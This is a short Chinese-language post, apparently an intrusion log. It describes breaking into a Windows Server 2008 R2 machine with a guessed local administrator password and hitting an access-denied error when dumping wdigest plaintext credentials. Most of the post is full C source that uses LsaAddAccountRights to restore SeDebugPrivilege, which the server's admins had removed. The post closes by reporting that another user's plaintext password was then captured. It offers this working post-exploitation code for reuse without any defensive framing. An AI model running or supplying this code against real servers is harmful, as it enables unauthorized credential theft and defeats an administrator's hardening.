人品好猜到了08r2某个本地管理员的密码,shell下runas执行getpassword却返回以下错误信息:
Authentication Id:0;6798000 Authentication Package:Negotiate Primary User:administrator Authentication Domain:xxx OpenProcess : (0x00000005) 拒绝访问. n.a. (wdigest Error)
开始以为是UAC问题,执行whoami /all查看管理员组,显示为启用状态,Mandatory Label也是过了UAC的High。
BUILTIN\Administrators Alias S-1-5-32-544 必需的组, 启用于默认, 启用的组, 组的所有者 Mandatory Label\High Mandatory Level Label S-1-16-12288 必需的组, 启用于默认, 启用的组
之后注意到特权列表中居然没有SeDebugPrivilege,这服务器竟然把默认情况下administrators的Debug特权删掉了。翻了翻存档,找到了这段代码(前人之作,忘记出处是哪里了):
#include <stdio.h>
#include <windows.h>
#include <ntsecapi.h>
typedef LONG NTSTATUS;
#define NT_SUCCESS(status)((NTSTATUS)(status)>=0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
static void PrintWin32Error(char *message,DWORD dwMessageId)
{
char *errMsg;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,dwMessageId,MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),(LPTSTR)&errMsg,0,NULL);
printf("%s: %s",message,errMsg);
LocalFree(errMsg);
return;
}
static PVOID GetFromToken(HANDLE TokenHandle,TOKEN_INFORMATION_CLASS TokenInformationClass)
{
DWORD needed=0;
PVOID buf=NULL;
DWORD error;
BOOL errflag=FALSE;
if(FALSE==GetTokenInformation(TokenHandle,TokenInformationClass,NULL,0,&needed))
{
error=GetLastError();
if(error!=ERROR_INSUFFICIENT_BUFFER)
{
PrintWin32Error("GetTokenInformation() failed",error);
errflag=TRUE;
goto GetFromToken_exit;
}
}
if(NULL==(buf=calloc(needed,1)))
{
fprintf(stderr,"calloc(%u,1) failed\n",needed);
goto GetFromToken_exit;
}
if(FALSE==GetTokenInformation(TokenHandle,TokenInformationClass,buf,needed,&needed))
{
PrintWin32Error("GetTokenInformation() failed",GetLastError());
errflag=TRUE;
goto GetFromToken_exit;
}
GetFromToken_exit:
if(errflag==TRUE)
{
if(buf!=NULL)
{
free(buf);
buf=NULL;
}
}
return(buf);
}
static BOOL AddPrivilege(LSA_HANDLE PolicyHandle,PSID AccountSid,LPWSTR PrivilegeName)
{
BOOL ret=FALSE;
LSA_UNICODE_STRING UserRights;
USHORT StringLength;
NTSTATUS status;
if(PrivilegeName==NULL)
{
goto AddPrivilege_exit;
}
StringLength=wcslen(PrivilegeName);
UserRights.Buffer=PrivilegeName;
UserRights.Length=StringLength * sizeof(WCHAR);
UserRights.MaximumLength=(StringLength + 1) * sizeof(WCHAR);
status=LsaAddAccountRights(PolicyHandle,AccountSid,&UserRights,1);
if(status!=STATUS_SUCCESS)
{
PrintWin32Error("LsaAddAccountRights() failed",LsaNtStatusToWinError(status));
goto AddPrivilege_exit;
}
ret=TRUE;
AddPrivilege_exit:
return(ret);
}
static BOOL AddCurrentProcessPrivilege(LPWSTR PrivilegeName)
{
NTSTATUS status;
BOOL ret=FALSE;
LSA_HANDLE PolicyHandle=NULL;
LSA_OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE CurrentProcessToken=NULL;
PTOKEN_USER token_user=NULL;
ZeroMemory(&ObjectAttributes,sizeof(ObjectAttributes));
status=LsaOpenPolicy(NULL,&ObjectAttributes,POLICY_ALL_ACCESS,&PolicyHandle);
if(status!=STATUS_SUCCESS)
{
PrintWin32Error("LsaOpenPolicy() failed",LsaNtStatusToWinError(status));
goto AddCurrentProcessPrivilege_exit;
}
if(FALSE==OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY,
&CurrentProcessToken))
{
PrintWin32Error("OpenProcessToken() failed",GetLastError());
goto AddCurrentProcessPrivilege_exit;
}
if(NULL==(token_user=(PTOKEN_USER)GetFromToken(CurrentProcessToken,TokenUser)))
{
goto AddCurrentProcessPrivilege_exit;
}
if(FALSE==AddPrivilege(PolicyHandle,
token_user->User.Sid,
PrivilegeName))
{
goto AddCurrentProcessPrivilege_exit;
}
ret=TRUE;
AddCurrentProcessPrivilege_exit:
if(NULL!=token_user)
{
free(token_user);
token_user=NULL;
}
if(NULL!=CurrentProcessToken)
{
CloseHandle(CurrentProcessToken);
CurrentProcessToken=NULL;
}
if(NULL!=PolicyHandle)
{
LsaClose(PolicyHandle);
PolicyHandle=NULL;
}
return(ret);
}
int main()
{
if(AddCurrentProcessPrivilege(L"SeDebugPrivilege")){printf("ok");}else{printf("err");}
}添加特权之后再次runas执行,成功抓取到另一用户的明文。

